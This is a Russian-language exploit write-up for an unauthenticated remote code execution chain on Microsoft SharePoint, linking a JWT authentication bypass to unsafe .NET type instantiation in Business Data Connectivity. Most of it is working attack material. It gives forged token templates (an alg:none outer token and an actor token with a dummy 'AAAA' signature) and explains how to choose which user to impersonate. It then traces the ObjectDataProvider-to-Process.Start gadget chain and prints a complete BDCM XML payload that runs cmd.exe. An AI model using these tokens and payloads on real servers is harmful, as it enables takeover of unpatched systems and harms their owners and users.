
Эксплойт-цепочка для неаутентифицированного RCE на Microsoft SharePoint, объединяющая обход аутентификации JWT с небезопасной инстанциацией типов .NET для достижения выполнения кода от имени сервисной учетной записи.
Неаутентифицированный RCE на Microsoft SharePoint Server. Учётные данные не требуются.
Stephen Fewer (Rapid7) продемонстрировал CVE-2026-55040 на Pwn2Own Berlin 2026. Затем Rapid7 обнаружил CVE-2026-63520 в ходе последующего исследования, а VulnCheck независимо нашёл альтернативную цепочку гаджетов. Вместе эти две уязвимости дают неаутентифицированное удалённое выполнение кода против любого незапатченного SharePoint в интернете.
CISA выпустила предупреждения в течение нескольких часов после публикации PoC. Эксплуатируется в дикой природе.
Две уязвимости, одна цепочка:
| CVE | Тип | CVSS | Что ломается |
|---|---|---|---|
| CVE-2026-55040 | Обход аутентификации JWT | 9.1 | Проверка S2S-токенов SharePoint имеет четыре независимые слабости. Объединив их, вы подделываете действительный JWT для любого пользователя — включая администраторов сайта — не зная их пароля. |
| CVE-2026-63520 | Небезопасная инстанциация типа .NET → RCE | 8.1 | Business Data Connectivity (BDC) разрешает произвольные имена типов .NET из загруженного XML без какого-либо списка разрешений. Укажите ObjectDataProvider — и получите Process.Start(). |
Ни одна из уязвимостей по отдельности не интересна. CVE-2026-63520 требует аутентификации. CVE-2026-55040 даёт вам аутентификацию. Вместе: неаутентифицированный RCE от имени учётной записи службы SharePoint.
SharePoint использует вложенные JWT для аутентификации «сервер-сервер» (S2S). Внешний токен несёт идентичность пользователя, внутренний «токен актора» представляет вызывающее приложение. Четыре слабости в SPJsonWebSecurityTokenHandlerV2.ValidateToken() разрушают всю конструкцию:
Слабость 1 — Проверка подписи отключена. Валидатор устанавливает RequireSignedTokens = false. Внешний токен принимает alg: none. Подпись не требуется.
Слабость 2 — Разрешение x5t без проверки. Ключ подписи токена актора определяется путём поиска заголовка x5t (отпечаток сертификата) в хранилище сертификатов. SharePoint никогда не проверяет, действительно ли подпись токена актора соответствует этому ключу.
Слабость 3 — Проверка издателя принимает неизвестные сертификаты. ValidateIssuer() проходит, если подписывающий сертификат не находится в коллекции TrustedSecurityTokenServices. Собственный STS-сертификат SharePoint там не зарегистрирован. Поэтому ссылка на него через x5t проходит проверку издателя безусловно.
Слабость 4 — Некриптографическая проверка подписи. GetTokenSignature() требует непустую строку, но не выполняет никакой криптографической проверки. Подойдёт любое значение. AAAA подходит.
STS-сертификат публичный. Вы получаете его с /_layouts/15/metadata/json/1 — неаутентифицированной конечной точки — вычисляете SHA-1 отпечаток, и у вас есть всё необходимое.
Внешний токен (несёт идентичность пользователя):
// Заголовок
{"alg": "none", "typ": "JWT"}
// Полезная нагрузка
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<целевой SID или UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<внутренний JWT>"
}
// Подпись: пустая (alg:none)
Внутренний токен актора (представляет «приложение»):
// Заголовок
{"alg": "RS256", "typ": "JWT", "x5t": "<отпечаток STS-сертификата>"}
// Полезная нагрузка
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// Подпись: "AAAA" (буквально что угодно непустое)
Три способа выбрать идентичность:
| Режим | nameid | nii | Что вам нужно |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | Доменный SID (через SMB null-сессию) + перебор RID |
| UPN | upn_bypass + утверждение upn | urn:office:idp:activedirectory | Действительный UPN (например, [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | Ничего. Ограниченный доступ, но достаточно для некоторых цепочек. |
Служба Business Data Connectivity в SharePoint позволяет администраторам определять внешние источники данных через XML-файлы моделей BDC (.bdcm). Эти модели указывают типы .NET, которые BDC инстанцирует во время выполнения.
Проблема в DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // любой тип в GAC
Имена типов короче 15 символов проходят через безопасный резолвер. Всё, что длиннее, вызывает Type.GetType() напрямую — который разрешает любое имя типа с указанием сборки из Global Assembly Cache. Никакого списка разрешений. Никакого списка блокировок. Атакующий контролирует abstractTypeName через XML BDCM.
Мы используем System.Windows.Data.ObjectDataProvider из PresentationFramework. Когда вы устанавливаете его свойство ObjectInstance, он вызывает MethodName на этом экземпляре. Установите MethodName = "Start" и ObjectInstance = System.Diagnostics.Process с подделанным StartInfo, и отражение сеттера свойств BDC сделает остальное:
ObjectDataProvider создан
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <полезная нагрузка>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ сеттер свойства запускает QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
XML BDCM, который это несёт:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck задокументировала альтернативную цепочку с использованием System.Web.UI.LosFormatter с десериализацией TypeConfuseDelegate через LobSystem DotNetAssembly. Работает несколько гаджетов — базовый примитив — это неограниченная инстанциация типов.